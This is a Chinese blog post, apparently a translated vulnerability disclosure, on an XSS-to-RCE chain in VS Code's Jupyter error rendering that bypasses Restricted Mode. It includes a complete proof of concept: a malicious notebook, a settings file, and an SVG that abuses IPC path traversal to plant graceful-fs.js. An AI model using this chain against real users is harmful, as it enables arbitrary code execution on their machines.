突破受限模式:Visual Studio Code中的XSS到RCE漏洞解析

本文详细分析了Visual Studio Code中的一个高危漏洞,攻击者可通过Jupyter Notebook的最小错误渲染模式实现XSS到RCE的升级,即使在受限模式下也能触发,涉及代码执行、IPC通信和文件系统操作。

突破受限模式:Visual Studio Code中的XSS到RCE

2025年5月14日 · 7分钟阅读 · Devesh Logendran

目录

  • 漏洞详情
  • 升级到RCE
  • 概念验证
  • 建议缓解措施
  • 演示
  • 时间线

2024年4月,我在Visual Studio Code(VS Code <= 1.89.1)中发现了一个高危漏洞,允许攻击者将跨站脚本(XSS)漏洞升级为完整的远程代码执行(RCE),即使在受限模式下也能实现。

Visual Studio Code的桌面版本运行在Electron上。渲染器进程被沙盒化,并通过Electron的IPC机制与主进程通信。

Jupyter Notebook新引入的最小错误渲染模式中存在XSS漏洞,使得任意JavaScript代码可以在笔记本渲染器的vscode-app WebView中执行。如果用户启用了该设置,打开特制的.ipynb文件即可触发漏洞;或者在VS Code中打开包含特制settings.json文件的文件夹,并在该文件夹内打开恶意的ipynb文件也可触发。即使启用了受限模式(用户未明确信任的工作区的默认设置),此漏洞仍可被触发。

本文将逐步介绍该漏洞的工作原理以及如何绕过VS Code的受限模式。

漏洞详情

Visual Studio的默认安装提供了一些对Jupyter Notebook的内置支持,并为一些常见输出类型提供了默认渲染器。这些渲染器的源代码位于extensions/notebook-renderers/src/index.ts。对于类型为application/vnd.code.notebook.error的单元格,渲染器调用renderError函数,该函数进而调用位于stackTraceHelper.ts中的formatStackTrace。该函数进一步调用同一文件中的linkify,将特定单元格中的行引用转换为VS Code中的可点击链接。如果启用了最小错误渲染模式,程序会将formatStackTrace的结果传递给createMinimalError,该函数执行一些进一步处理并将结果附加到webview的DOM中。以下是带注释的相关代码摘录。

renderError:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
function renderError(
	outputInfo: OutputItem,
	outputElement: HTMLElement,
	ctx: IRichRenderContext,
	trustHtml: boolean // false if workspace is not trusted
): IDisposable {

    // ...

	if (err.stack) {
		const minimalError = ctx.settings.minimalError && !!headerMessage?.length;
		outputElement.classList.add('traceback');

		const { formattedStack, errorLocation } = formatStackTrace(err.stack);
        // ...
		if (minimalError) {
			createMinimalError(errorLocation, headerMessage, stackTraceElement, outputElement);
		} else {
			// ...
		}
	} else {
		// ...
	}

	outputElement.classList.add('error');
	return disposableStore;
}

formatStackTrace和linkify:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
export function formatStackTrace(stack: string): { formattedStack: string; errorLocation?: string } {
	let cleaned: string;
	// ...

	if (isIpythonStackTrace(cleaned)) {
		return linkifyStack(cleaned);
	}
}

const cellRegex = /(?<prefix>Cell\s+(?:\u001b\[.+?m)?In\s*\[(?<executionCount>\d+)\],\s*)(?<lineLabel>line (?<lineNumber>\d+)).*/;

function linkifyStack(stack: string): { formattedStack: string; errorLocation?: string } {
	const lines = stack.split('\n');

	let fileOrCell: location | undefined;
	let locationLink = '';

	for (const i in lines) {

		const original = lines[i];
		if (fileRegex.test(original)) {
			// ...
		} else if (cellRegex.test(original)) {
			fileOrCell = {
				kind: 'cell',
				path: stripFormatting(original.replace(cellRegex, 'vscode-notebook-cell:?execution_count=$<executionCount>'))
			};
			const link = original.replace(cellRegex, `<a href=\'${fileOrCell.path}&line=$<lineNumber>\'>line $<lineNumber></a>`); // [1]
			lines[i] = original.replace(cellRegex, `$<prefix>${link}`);
			locationLink = locationLink || link; // [2]

			continue;
		}
        // ...
	}

	const errorLocation = locationLink; // [3]
	return { formattedStack: lines.join('\n'), errorLocation };
}

createMinimalError:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
function createMinimalError(errorLocation: string | undefined, headerMessage: string, stackTrace: HTMLDivElement, outputElement: HTMLElement) {
	const outputDiv = document.createElement('div');
	const headerSection = document.createElement('div');
	headerSection.classList.add('error-output-header');

	if (errorLocation && errorLocation.indexOf('<a') === 0) {
		headerSection.innerHTML = errorLocation; // [4]
	}
	const header = document.createElement('span');
	header.innerText = headerMessage;
	headerSection.appendChild(header);
	outputDiv.appendChild(headerSection);

	// ...
	outputElement.appendChild(outputDiv);
}

在[1]和[2]处,代码尝试将诸如Cell In [1], line 6(可选带有ANSI转义序列)的序列转换为链接的HTML标签,形式为<a href=vscode-notebook-cell:?execution_count=1&line=6>line 6</a>,并在[3]处将errorLocation变量设置为该HTML。关键的是,所使用的正则表达式末尾的通配符会吞掉行号之后的任何文本,但紧接在Cell In序列之前的任何文本不会受到替换操作的影响。因此,像LOLZTEXTHERECell In [1], line 6这样的输入会生成无效的标记LOLZTEXTHERE<a href=LOLZTEXTHEREvscode-notebook-cell:?execution_count=1&line=6>line 6</a>

在createMinimalError中,如果设置了errorLocation并且以<a开头,它被认为是formatStackTrace函数生成的链接,因此直接分配给headerSection.innerHTML。无论工作区是否受信任,该元素都会被添加到输出DOM中。然而,由于我们部分控制了formatStackTrace生成的标记(包括字符串的开头),我们可以创建一个堆栈跟踪为<a><img src onerror=console.log(123)>Cell In [1], line 6的笔记本文件,这将导致errorLocation的值为<a><img src onerror=console.log(123)><a href=<a><img[etc]。由于这满足以<a开头的条件,它将被插入到headerSection.innerHTML中并在webview中渲染,导致JavaScript运行并将123记录到控制台。

升级到RCE

XSS漏洞导致代码在vscode-app源下的iframe中执行,该iframe位于主工作台窗口下,而主工作台窗口位于vscode-file源下。主工作台窗口包含vscode.ipcRenderer对象,该对象使渲染器帧能够向主帧发送IPC消息,以执行文件系统操作、在PTY中创建和执行命令等。要访问此对象,我们需要找到一种在vscode-file源中执行代码的方法。vscode-file协议处理程序的代码位于src/vs/platform/protocol/electron-main/protocolMainService.ts,相关部分摘录如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


    private handleResourceRequest(request: Electron.ProtocolRequest, callback: ProtocolCallback): void {
		const path = this.requestToNormalizedFilePath(request);

		let headers: Record<string, string> | undefined;
		if (this.environmentService.crossOriginIsolated) {
			if (basename(path) === 'workbench.html' || basename(path) === 'workbench-dev.html') {
				headers = COI.CoopAndCoep;
			} else {
				headers = COI.getHeadersFromQuery(request.url);
			}
		}

		// first check by validRoots
		if (this.validRoots.findSubstr(path)) {
			return callback({ path, headers });
		}

		// then check by validExtensions
		if (this.validExtensions.has(extname(path).toLowerCase())) {
			return callback({ path });
		}

		// finally block to load the resource
		this.logService.error(`${Schemas.vscodeFileResource}: Refused to load resource ${path} from ${Schemas.vscodeFileResource}: protocol (original URL: ${request.url})`);

		return callback({ error: -3 /* ABORTED */ });
	}

为了在vscode-file协议下加载文件,它们必须位于VS Code应用安装目录内,或者具有一组有效扩展名之一。.svg是一个有效的扩展名,可以包含JavaScript代码,当在<iframe>中加载时会执行。我们可以在恶意仓库中包含一个SVG文件,并通过笔记本webview中的许多DOM元素获取对存储目录的引用(PoC使用<base>标签的href属性)。

在SVG文件中,可以使用top.vscode.ipcRenderer调用主进程的IPC处理程序。特别是,发现vscode:readNlsFile和vscode:writeNlsFile两个处理程序容易受到目录遍历攻击,使攻击者能够读取和写入进程在文件系统上有权限的任何文件。PoC利用这一点在Windows和macOS上执行代码,通过写入<vscode app root>/out/node_modules/graceful-fs.js(该文件默认不存在,但VS Code在加载窗口时会尝试导入,我们可以通过发送vscode:reloadWindow IPC消息立即触发)。在Linux上,可以通过类似方式写入.bashrc等实现代码执行。

概念验证

1
2
3
4
5
not_sus_repo
├── .vscode
│   └── settings.json

└── icon.svg

vscode/settings.json:

1
2
3
{
    "notebook.output.minimalErrorRendering": true
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [
    {
     "data": {
      "application/vnd.code.notebook.error": {
       "message": "error",
       "name": "name",
       "stack": "<a><img src onerror=\"var root=document.getElementsByTagName('base')[0].href;root=root.replace('https://file+.vscode-resource.vscode-cdn.net/','vscode-file://vscode-app/');var iframe=document.createElement('iframe');iframe.src=root+'icon.svg',iframe.style.display='none',document.body.appendChild(iframe);\">Cell \u001b[1;32mIn[1], line 6"
      }
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def make_big_err(i):\n",
    "    if i <= 0:\n",
    "        raise Exception()\n",
    "    make_big_err(i-1)\n",
    "\n",
    "make_big_err(10)"
   ]
  }
 ]
}

icon.svg:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
<svg height="100" width="100" xmlns="http://www.w3.org/2000/svg">
    <circle r="45" cx="50" cy="50" fill="red" />
    <script>
      async function exp() {
        const pathSep = top.vscode.process.platform === 'win32' ? '\\' : '/';
        const a = top.vscode.context.configuration().userDataDir;
        let b = top.vscode.context.configuration().appRoot;
        let payload = top.vscode.process.platform === 'win32' ? 'start calc.exe' : 'open -a Calculator.app';

        if (b[1] === ':') {
          b = b.slice(2);
        }

        const subPath = `clp${pathSep}${('..' + pathSep).repeat(15)}${b}${pathSep}out${pathSep}node_modules${pathSep}graceful-fs.js`;
        await top.vscode.ipcRenderer.invoke('vscode:writeNlsFile', `${a}${pathSep}${subPath}`, `require("child_process").exec("${payload}");`);
        top.vscode.ipcRenderer.send('vscode:reloadWindow');
      }

      exp();
    </script>
  </svg>

建议缓解措施

  • 在createMinimalError中,确保errorLocation仅包含具有指定URI格式的<a>标签,然后再分配给headerSection.innerHTML。
  • 在笔记本渲染器webview中使用内容安全策略(CSP),确保在受限模式下仅运行受信任的脚本。

演示

演示时间。

时间线

  • 2024-07-03 向供应商披露
  • 2024-07-03 首次联系供应商
  • 2024-07-10 与供应商共享另外两个PoC
  • 2024-08-02 供应商回复“此案例被评估为低严重性,由于RCE不再可能没有大量用户交互(即接受保存提示到攻击者控制的位置),不符合MSRC的即时服务标准。”
  • 2025-05-14 公开披露
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计